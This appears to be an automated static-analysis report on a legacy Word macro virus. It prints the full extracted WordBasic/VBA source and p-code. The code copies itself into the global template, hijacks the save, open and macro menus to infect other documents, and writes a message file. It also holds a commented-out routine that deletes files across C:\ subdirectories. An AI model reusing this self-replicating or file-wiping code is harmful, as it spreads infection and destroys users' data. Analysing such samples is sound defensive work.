Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f19d474a16f267a0…

MALICIOUS

Office (OLE)

44.0 KB Created: 1997-05-29 15:31:00 Authoring application: Microsoft Word 8.0 First seen: 2014-03-15
MD5: 4d024bf8d552d7a7027e9b05cbaa0dd1 SHA-1: 5e8075010a96fabdabcbb3deefa0f8a36c86186f SHA-256: f19d474a16f267a00d48d38b7cc9823af9a0641bde47cc597a80d6e476cada3d
188 Risk Score

Heuristics 4

  • ClamAV: Doc.Trojan.Concept-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Concept-28
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "AutoOpen"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20176 bytes
SHA-256: 76e6132d028c742be947ced458536355057283426bf1483f78a70cb1bbc042ec
Detection
ClamAV: Doc.Trojan.Allen-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim sMe$
Dim sMacro$
On Error GoTo -1: On Error GoTo Abort
    sMe$ = WordBasic.[FileName$]()
    sMacro$ = sMe$ + ":RpAE"
    WordBasic.MacroCopy sMacro$, "Global:Autoexec"
    sMacro$ = sMe$ + ":RpAE"
    WordBasic.MacroCopy sMacro$, "Global:RpAE"
    sMacro$ = sMe$ + ":AutoOpen"
    WordBasic.MacroCopy sMacro$, "Global:RpAO"
    sMacro$ = sMe$ + ":RpFS"
    WordBasic.MacroCopy sMacro$, "Global:FileSave"
    sMacro$ = sMe$ + ":RpFS"
    WordBasic.MacroCopy sMacro$, "Global:RpFS"
    sMacro$ = sMe$ + ":RpFSA"
    WordBasic.MacroCopy sMacro$, "Global:FileSaveAs"
    sMacro$ = sMe$ + ":RpFSA"
    WordBasic.MacroCopy sMacro$, "Global:RpFSA"
    sMacro$ = sMe$ + ":RpFO"
    WordBasic.MacroCopy sMacro$, "Global:FileOpen"
    sMacro$ = sMe$ + ":RpFO"
    WordBasic.MacroCopy sMacro$, "Global:RpFO"
    sMacro$ = sMe$ + ":RpTC"
    WordBasic.MacroCopy sMacro$, "Global:ToolsCustomize"
    sMacro$ = sMe$ + ":RpTM"
    WordBasic.MacroCopy sMacro$, "Global:ToolsMacro"
Abort:
End Sub

Attribute VB_Name = "RpFS"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Saves the active document or template"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.RpFS.MAIN"
Dim sMe$
Dim sTMacro$
WordBasic.FileSave
On Error GoTo -1: On Error GoTo Bail

Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
WordBasic.FileSaveAs dlg
sMe$ = WordBasic.[FileName$]()
sTMacro$ = sMe$ + ":RpAE"
WordBasic.MacroCopy "Global:RpAE", sTMacro$
sTMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy "Global:RpAO", sTMacro$
sTMacro$ = sMe$ + ":RpFS"
WordBasic.MacroCopy "Global:RpFS", sTMacro$
sTMacro$ = sMe$ + ":RpTC"
WordBasic.MacroCopy "Global:ToolsCustomize", sTMacro$
sTMacro$ = sMe$ + ":RpTM"
WordBasic.MacroCopy "Global:ToolsMacro", sTMacro$
sTMacro$ = sMe$ + ":RpFSA"
WordBasic.MacroCopy "Global:RpFSA", sTMacro$
GoTo Done
Bail:
If Err.Number <> 102 Then
    WordBasic.FileSaveAs dlg
End If
Done:
End Sub

Attribute VB_Name = "RpAE"

Public Sub MAIN()
Dim pukul$
Dim hari
Dim tgl
Dim bulan
Dim tahun
Dim hari_$
Dim bulan_$
Dim tgl_$
Dim tahun_$
Dim Semua$
Dim Bacalah$
'tgl = Day(Now())
'jam = Hour(Now())
'If tgl < 20 Then Goto Selamat
'If jam < 11 Then Goto Selamat
'Dim Sehat$(20)
'Dim Subur$(20)
'ChDir "C:\"
'Dim subdirs$(CountDirectories())
'subdirs$(0) = "[..]"
'For i = 1 To CountDirectories()
'   Print "Reading menu...Please wait !"
'   Subdirs$(i) = UCase$(GetDirectory$(i))
'   If Subdirs$(i) = "WINDOWS" Then Goto lewat
'   If Subdirs$(i) = "WINWORD" Then Goto lewat
'   If Subdirs$(i) = "WINWORD6" Then Goto lewat
'   Ojek$ = "C:\" + Subdirs$(i) + "\*.*"
'   Kill ojek$
'   ChDir  Subdirs$(i)
'       Subur$(0) = "[..]"
'       For a = 1 To CountDirectories()
'           Print "Reading menu...Please wait !"
'           subur$(a) = UCase$(GetDirectory$(a))
'           If subur$(a) = "WINWORD" Then Goto pass
'           If subur$(a) = " WINWORD6" Then Goto pass
'           Penyakit$ = "C:\" + subdirs$(i) + "\" + subur$(a) + "\*.*"
'           Kill Penyakit$
'   ChDir subur$(a)
'       sehat$(0) = "[..]"
'               For b = 1 To CountDirectories()
'               Print "Reading menu...Please wait !"
'               sehat$(b) = UCase$(GetDirectory$(b))
'               Tien$ = "C:\" + Subdirs$(i) + "\" + Subur$(a) + "\" + 'Sehat$(b) + "\*.*"
'           Kill Tien$
'           Next b
'           ChDir "C:\" + subdirs$(i)
'PASS:
'       Next a
'       ChDir "C:\"
'lewat:
'Next i
pukul$ = WordBasic.[Time$](WordBasic.Now())
hari = WordBasic.WeekDay(WordBasic.Now())
tgl = WordBasic.Day(WordBasic.Now())
bulan = WordBasic.Month(WordBasic.Now())
tahun = WordBasic.Year(WordBasic.Now())
ReDim hari___$(7)
ReDim bulan___$(12)
If hari = 1 Then hari_$ = "Minggu"
If hari = 2 Then hari_$ = "Senin"
If hari = 3 Then hari_$ = "Selasa"
If hari = 4 Then hari_$ = "Rabu"
If hari = 5 Then hari_$ = "Kamis"
If hari = 6 Then hari_$ = "Jumat"
If hari = 7 Then hari_$ = "Sabtu"
If bulan = 1 Then bulan_$ = "Januari"
If bulan = 2 Then bulan_$ = "Februari"
If bulan = 3 Then bulan_$ = "Maret"
If bulan = 4 Then bulan_$ = "April"
If bulan = 5 Then bulan_$ = "Mei"
If bulan = 6 Then bulan_$ = "Juni"
If bulan = 7 Then bulan_$ = "Juli"
If bulan = 8 Then bulan_$ = "Agustus"
If bulan = 9 Then bulan_$ = "September"
If bulan = 10 Then bulan_$ = "Oktober"
If bulan = 11 Then bulan_$ = "November"
If bulan = 12 Then bulan_$ = "Desember"
tgl_$ = Str(tgl)
tahun_$ = Str(tahun)
Semua$ = hari_$ + ", " + tgl_$ + " " + bulan_$ + " " + tahun_$ + ", Jam :" + pukul$ + "."
'Pesan$ = "Anda rupanya sedang sial, semua file di mesin ini kecuali yang berada di direktori WINDOWS dan WINWORD telah hilang, jangan kaget, ini bukan ulah Anda, tapi ini hasil pekerjaan saya...Barang siapa yang berhasil menemukan cara menangkal virus ini
', saya aka" + "n memberi listing virus ini untuk Anda !!! Dan tentu saja saya akan terus datang kesini untuk memberi Anda salam dengan virus-virus terbaru dari saya...selamat !   Bandung, " + semua$
Bacalah$ = "Assalamualaikum ..., maaf @Rapi.Kom mengganggu anda sebentar. Pesan ini aslinya bernama  PESAN.TXT  yang  muncul  di  root direktori  setelah  anda menjalankan Winword 6.0 yang templatenya (normal.dot)  telah  tertulari  macro  menjijikkan ini. Macro ini " + "(sebe" + "lum @R" + "a" + "pi" + ".Kom modifikasi)  berasal  dari  file data Winword 6.0 (*.doc) yang telah tertular macro ini. Bila file data tersebut  di pangggil (Open doc), maka macro secara otomatis menjalankan perintah-perintah macro lain nya,  yang antara  lain mengcopykan  diri ke" + " gl" + "o" + "bal " + "template (normal.dot), juga pada tanggal dan jam tertentu akan menghapus semua data di direktori tingkat 1, 2 dan 3 (kecuali Hidden direktori), menjengkelkan bukan ?!. Siapapun pembuatnya pastilah orang yang sirik !,  masih banyak perbuatan baik lain yang" + "  bisa  kita kerjakan.         ... Malang, " + Semua$ + " @Rapi.Kom"
Open "C:\BACALAH.TXT" For Output As 1
Write #1, Bacalah$
Close 1
'Selamat:
End Sub

' Processing file: /tmp/qstore_iy1aeyr9
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 2585 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn sMe
' Line #3:
' 	Dim 
' 	VarDefn sMacro
' Line #4:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Abort 
' Line #5:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #6:
' 	Ld sMe$ 
' 	LitStr 0x0005 ":RpAE"
' 	Add 
' 	St sMacro$ 
' Line #7:
' 	Ld sMacro$ 
' 	LitStr 0x000F "Global:Autoexec"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #8:
' 	Ld sMe$ 
' 	LitStr 0x0005 ":RpAE"
' 	Add 
' 	St sMacro$ 
' Line #9:
' 	Ld sMacro$ 
' 	LitStr 0x000B "Global:RpAE"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #10:
' 	Ld sMe$ 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St sMacro$ 
' Line #11:
' 	Ld sMacro$ 
' 	LitStr 0x000B "Global:RpAO"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #12:
' 	Ld sMe$ 
' 	LitStr 0x0005 ":RpFS"
' 	Add 
' 	St sMacro$ 
' Line #13:
' 	Ld sMacro$ 
' 	LitStr 0x000F "Global:FileSave"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #14:
' 	Ld sMe$ 
' 	LitStr 0x0005 ":RpFS"
' 	Add 
' 	St sMacro$ 
' Line #15:
' 	Ld sMacro$ 
' 	LitStr 0x000B "Global:RpFS"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #16:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":RpFSA"
' 	Add 
' 	St sMacro$ 
' Line #17:
' 	Ld sMacro$ 
' 	LitStr 0x0011 "Global:FileSaveAs"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #18:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":RpFSA"
' 	Add 
' 	St sMacro$ 
' Line #19:
' 	Ld sMacro$ 
' 	LitStr 0x000C "Global:RpFSA"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #20:
' 	Ld sMe$ 
' 	LitStr 0x0005 ":RpFO"
' 	Add 
' 	St sMacro$ 
' Line #21:
' 	Ld sMacro$ 
' 	LitStr 0x000F "Global:FileOpen"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #22:
' 	Ld sMe$ 
' 	LitStr 0x0005 ":RpFO"
' 	Add 
' 	St sMacro$ 
' Line #23:
' 	Ld sMacro$ 
' 	LitStr 0x000B "Global:RpFO"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #24:
' 	Ld sMe$ 
' 	LitStr 0x0005 ":RpTC"
' 	Add 
' 	St sMacro$ 
' Line #25:
' 	Ld sMacro$ 
' 	LitStr 0x0015 "Global:ToolsCustomize"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #26:
' 	Ld sMe$ 
' 	LitStr 0x0005 ":RpTM"
' 	Add 
' 	St sMacro$ 
' Line #27:
' 	Ld sMacro$ 
' 	LitStr 0x0011 "Global:ToolsMacro"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #28:
' 	Label Abort 
' Line #29:
' 	EndSub 
' Macros/VBA/RpFS - 2500 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn sMe
' Line #3:
' 	Dim 
' 	VarDefn sTMacro
' Line #4:
' 	Ld WordBasic 
' 	ArgsMemCall FileSave 0x0000 
' Line #5:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError Bail 
' Line #6:
' Line #7:
' 	Dim 
' 	VarDefn dlg (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set dlg 
' Line #8:
' 	Ld dlg 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #9:
' 	Ld dlg 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	Ld dlg 
' 	MemSt Format$ 
' 	EndIf 
' Line #10:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #11:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St sMe$ 
' Line #12:
' 	Ld sMe$ 
' 	LitStr 0x0005 ":RpAE"
' 	Add 
' 	St sTMacro$ 
' Line #13:
' 	LitStr 0x000B "Global:RpAE"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #14:
' 	Ld sMe$ 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	St sTMacro$ 
' Line #15:
' 	LitStr 0x000B "Global:RpAO"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #16:
' 	Ld sMe$ 
' 	LitStr 0x0005 ":RpFS"
' 	Add 
' 	St sTMacro$ 
' Line #17:
' 	LitStr 0x000B "Global:RpFS"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #18:
' 	Ld sMe$ 
' 	LitStr 0x0005 ":RpTC"
' 	Add 
' 	St sTMacro$ 
' Line #19:
' 	LitStr 0x0015 "Global:ToolsCustomize"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #20:
' 	Ld sMe$ 
' 	LitStr 0x0005 ":RpTM"
' 	Add 
' 	St sTMacro$ 
' Line #21:
' 	LitStr 0x0011 "Global:ToolsMacro"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #22:
' 	Ld sMe$ 
' 	LitStr 0x0006 ":RpFSA"
' 	Add 
' 	St sTMacro$ 
' Line #23:
' 	LitStr 0x000C "Global:RpFSA"
' 	Ld sTMacro$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #24:
' 	GoTo Done 
' Line #25:
' 	Label Bail 
' Line #26:
' 	Ld Err 
' 	MemLd Number 
' 	LitDI2 0x0066 
' 	Ne 
' 	IfBlock 
' Line #27:
' 	Ld dlg 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	Label Done 
' Line #30:
' 	EndSub 
' Macros/VBA/RpAE - 8285 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn pukul
' Line #3:
' 	Dim 
' 	VarDefn hari
' Line #4:
' 	Dim 
' 	VarDefn tgl
' Line #5:
' 	Dim 
' 	VarDefn bulan
' Line #6:
' 	Dim 
' 	VarDefn tahun
' Line #7:
' 	Dim 
' 	VarDefn hari_
' Line #8:
' 	Dim 
' 	VarDefn bulan_
' Line #9:
' 	Dim 
' 	VarDefn tgl_
' Line #10:
' 	Dim 
' 	VarDefn tahun_
' Line #11:
' 	Dim 
' 	VarDefn Semua
' Line #12:
' 	Dim 
' 	VarDefn Bacalah
' Line #13:
' 	QuoteRem 0x0000 0x0010 "tgl = Day(Now())"
' Line #14:
' 	QuoteRem 0x0000 0x0011 "jam = Hour(Now())"
' Line #15:
' 	QuoteRem 0x0000 0x001D "If tgl < 20 Then Goto Selamat"
' Line #16:
' 	QuoteRem 0x0000 0x001D "If jam < 11 Then Goto Selamat"
' Line #17:
' 	QuoteRem 0x0000 0x000E "Dim Sehat$(20)"
' Line #18:
' 	QuoteRem 0x0000 0x000E "Dim Subur$(20)"
' Line #19:
' 	QuoteRem 0x0000 0x000B "ChDir "C:\""
' Line #20:
' 	QuoteRem 0x0000 0x0020 "Dim subdirs$(CountDirectories())"
' Line #21:
' 	QuoteRem 0x0000 0x0014 "subdirs$(0) = "[..]""
' Line #22:
' 	QuoteRem 0x0000 0x001F "For i = 1 To CountDirectories()"
' Line #23:
' 	QuoteRem 0x0000 0x0027 "   Print "Reading menu...Please wait !""
' Line #24:
' 	QuoteRem 0x0000 0x0029 "   Subdirs$(i) = UCase$(GetDirectory$(i))"
' Line #25:
' 	QuoteRem 0x0000 0x002D "   If Subdirs$(i) = "WINDOWS" Then Goto lewat"
' Line #26:
' 	QuoteRem 0x0000 0x002D "   If Subdirs$(i) = "WINWORD" Then Goto lewat"
' Line #27:
' 	QuoteRem 0x0000 0x002E "   If Subdirs$(i) = "WINWORD6" Then Goto lewat"
' Line #28:
' 	QuoteRem 0x0000 0x0027 "   Ojek$ = "C:\" + Subdirs$(i) + "\*.*""
' Line #29:
' 	QuoteRem 0x0000 0x000D "   Kill ojek$"
' Line #30:
' 	QuoteRem 0x0000 0x0015 "   ChDir  Subdirs$(i)"
' Line #31:
' 	QuoteRem 0x0000 0x0019 "       Subur$(0) = "[..]""
' Line #32:
' 	QuoteRem 0x0000 0x0026 "       For a = 1 To CountDirectories()"
' Line #33:
' 	QuoteRem 0x0000 0x002F "           Print "Reading menu...Please wait !""
' Line #34:
' 	QuoteRem 0x0000 0x002F "           subur$(a) = UCase$(GetDirectory$(a))"
' Line #35:
' 	QuoteRem 0x0000 0x0032 "           If subur$(a) = "WINWORD" Then Goto pass"
' Line #36:
' 	QuoteRem 0x0000 0x0034 "           If subur$(a) = " WINWORD6" Then Goto pass"
' Line #37:
' 	QuoteRem 0x0000 0x0045 "           Penyakit$ = "C:\" + subdirs$(i) + "\" + subur$(a) + "\*.*""
' Line #38:
' 	QuoteRem 0x0000 0x0019 "           Kill Penyakit$"
' Line #39:
' 	QuoteRem 0x0000 0x0012 "   ChDir subur$(a)"
' Line #40:
' 	QuoteRem 0x0000 0x0019 "       sehat$(0) = "[..]""
' Line #41:
' 	QuoteRem 0x0000 0x002E "               For b = 1 To CountDirectories()"
' Line #42:
' 	QuoteRem 0x0000 0x0033 "               Print "Reading menu...Please wait !""
' Line #43:
' 	QuoteRem 0x0000 0x0033 "               sehat$(b) = UCase$(GetDirectory$(b))"
' Line #44:
' 	QuoteRem 0x0000 0x0058 "               Tien$ = "C:\" + Subdirs$(i) + "\" + Subur$(a) + "\" + 'Sehat$(b) + "\*.*""
' Line #45:
' 	QuoteRem 0x0000 0x0015 "           Kill Tien$"
' Line #46:
' 	QuoteRem 0x0000 0x0011 "           Next b"
' Line #47:
' 	QuoteRem 0x0000 0x0024 "           ChDir "C:\" + subdirs$(i)"
' Line #48:
' 	QuoteRem 0x0000 0x0005 "PASS:"
' Line #49:
' 	QuoteRem 0x0000 0x000D "       Next a"
' Line #50:
' 	QuoteRem 0x0000 0x0012 "       ChDir "C:\""
' Line #51:
' 	QuoteRem 0x0000 0x0006 "lewat:"
' Line #52:
' 	QuoteRem 0x0000 0x0006 "Next i"
' Line #53:
' 	Ld WordBasic 
' 	ArgsMemLd Now 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [Time$] 0x0001 
' 	St pukul$ 
' Line #54:
' 	Ld WordBasic 
' 	ArgsMemLd Now 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd WeekDay 0x0001 
' 	St hari 
' Line #55:
' 	Ld WordBasic 
' 	ArgsMemLd Now 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd Day 0x0001 
' 	St tgl 
' Line #56:
' 	Ld WordBasic 
' 	ArgsMemLd Now 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd Month 0x0001 
' 	St bulan 
' Line #57:
' 	Ld WordBasic 
' 	ArgsMemLd Now 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd Year 0x0001 
' 	St tahun 
' Line #58:
' 	OptionBase 
' 	LitDI2 0x0007 
' 	Redim hari___$ 0x0001 (As String)
' Line #59:
' 	OptionBase 
' 	LitDI2 0x000C 
' 	Redim bulan___$ 0x0001 (As String)
' Line #60:
' 	Ld hari 
' 	LitDI2 0x0001 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0006 "Minggu"
' 	St hari_$ 
' 	EndIf 
' Line #61:
' 	Ld hari 
' 	LitDI2 0x0002 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0005 "Senin"
' 	St hari_$ 
' 	EndIf 
' Line #62:
' 	Ld hari 
' 	LitDI2 0x0003 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0006 "Selasa"
' 	St hari_$ 
' 	EndIf 
' Line #63:
' 	Ld hari 
' 	LitDI2 0x0004 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0004 "Rabu"
' 	St hari_$ 
' 	EndIf 
' Line #64:
' 	Ld hari 
' 	LitDI2 0x0005 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0005 "Kamis"
' 	St hari_$ 
' 	EndIf 
' Line #65:
' 	Ld hari 
' 	LitDI2 0x0006 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0005 "Jumat"
' 	St hari_$ 
' 	EndIf 
' Line #66:
' 	Ld hari 
' 	LitDI2 0x0007 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0005 "Sabtu"
' 	St hari_$ 
' 	EndIf 
' Line #67:
' 	Ld bulan 
' 	LitDI2 0x0001 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0007 "Januari"
' 	St bulan_$ 
' 	EndIf 
' Line #68:
' 	Ld bulan 
' 	LitDI2 0x0002 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0008 "Februari"
' 	St bulan_$ 
' 	EndIf 
' Line #69:
' 	Ld bulan 
' 	LitDI2 0x0003 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0005 "Maret"
' 	St bulan_$ 
' 	EndIf 
' Line #70:
' 	Ld bulan 
' 	LitDI2 0x0004 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0005 "April"
' 	St bulan_$ 
' 	EndIf 
' Line #71:
' 	Ld bulan 
' 	LitDI2 0x0005 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0003 "Mei"
' 	St bulan_$ 
' 	EndIf 
' Line #72:
' 	Ld bulan 
' 	LitDI2 0x0006 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0004 "Juni"
' 	St bulan_$ 
' 	EndIf 
' Line #73:
' 	Ld bulan 
' 	LitDI2 0x0007 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0004 "Juli"
' 	St bulan_$ 
' 	EndIf 
' Line #74:
' 	Ld bulan 
' 	LitDI2 0x0008 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0007 "Agustus"
' 	St bulan_$ 
' 	EndIf 
' Line #75:
' 	Ld bulan 
' 	LitDI2 0x0009 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0009 "September"
' 	St bulan_$ 
' 	EndIf 
' Line #76:
' 	Ld bulan 
' 	LitDI2 0x000A 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0007 "Oktober"
' 	St bulan_$ 
' 	EndIf 
' Line #77:
' 	Ld bulan 
' 	LitDI2 0x000B 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0008 "November"
' 	St bulan_$ 
' 	EndIf 
' Line #78:
' 	Ld bulan 
' 	LitDI2 0x000C 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitStr 0x0008 "Desember"
' 	St bulan_$ 
' 	EndIf 
' Line #79:
' 	Ld tgl 
' 	ArgsLd Str 0x0001 
' 	St tgl_$ 
' Line #80:
' 	Ld tahun 
' 	ArgsLd Str 0x0001 
' 	St tahun_$ 
' Line #81:
' 	Ld hari_$ 
' 	LitStr 0x0002 ", "
' 	Add 
' 	Ld tgl_$ 
' 	Add 
' 	LitStr 0x0001 " "
' 	Add 
' 	Ld bulan_$ 
' 	Add 
' 	LitStr 0x0001 " "
' 	Add 
' 	Ld tahun_$ 
' 	Add 
' 	LitStr 0x0007 ", Jam :"
' 	Add 
' 	Ld pukul$ 
' 	Add 
' 	LitStr 0x0001 "."
' 	Add 
' 	St Semua$ 
' Line #82:
' 	QuoteRem 0x0000 0x00FF "Pesan$ = "Anda rupanya sedang sial, semua file di mesin ini kecuali yang berada di direktori WINDOWS dan WINWORD telah hilang, jangan kaget, ini bukan ulah Anda, tapi ini hasil pekerjaan saya...Barang siapa yang berhasil menemukan cara menangkal virus ini"
' Line #83:
' 	QuoteRem 0x0000 0x00C6 ", saya aka" + "n memberi listing virus ini untuk Anda !!! Dan tentu saja saya akan terus datang kesini untuk memberi Anda salam dengan virus-virus terbaru dari saya...selamat !   Bandung, " + semua$"
' Line #84:
' 	LitStr 0x00FF "Assalamualaikum ..., maaf @Rapi.Kom mengganggu anda sebentar. Pesan ini aslinya bernama  PESAN.TXT  yang  muncul  di  root direktori  setelah  anda menjalankan Winword 6.0 yang templatenya (normal.dot)  telah  tertulari  macro  menjijikkan ini. Macro ini "
' 	LitStr 0x0005 "(sebe"
' 	Add 
' 	LitStr 0x0006 "lum @R"
' 	Add 
' 	LitStr 0x0001 "a"
' 	Add 
' 	LitStr 0x0002 "pi"
' 	Add 
' 	LitStr 0x00FF ".Kom modifikasi)  berasal  dari  file data Winword 6.0 (*.doc) yang telah tertular macro ini. Bila file data tersebut  di pangggil (Open doc), maka macro secara otomatis menjalankan perintah-perintah macro lain nya,  yang antara  lain mengcopykan  diri ke"
' 	Add 
' 	LitStr 0x0003 " gl"
' 	Add 
' 	LitStr 0x0001 "o"
' 	Add 
' 	LitStr 0x0004 "bal "
' 	Add 
' 	LitStr 0x00FF "template (normal.dot), juga pada tanggal dan jam tertentu akan menghapus semua data di direktori tingkat 1, 2 dan 3 (kecuali Hidden direktori), menjengkelkan bukan ?!. Siapapun pembuatnya pastilah orang yang sirik !,  masih banyak perbuatan baik lain yang"
' 	Add 
' 	LitStr 0x002B "  bisa  kita kerjakan.         ... Malang, "
' 	Add 
' 	Ld Semua$ 
' 	Add 
' 	LitStr 0x000A " @Rapi.Kom"
' 	Add 
' 	St Bacalah$ 
' Line #85:
' 	LitStr 0x000E "C:\BACALAH.TXT"
' 	LitDI2 0x0001 
' 	LitDefault 
' 	Open (For Output)
' Line #86:
' 	LitDI2 0x0001 
' 	Sharp 
' 	WriteChan 
' 	Ld Bacalah$ 
' 	PrintItemNL 
' Line #87:
' 	LitDI2 0x0001 
' 	Close 0x0001 
' Line #88:
' 	QuoteRem 0x0000 0x0008 "Selamat:"
' Line #89:
' 	EndSub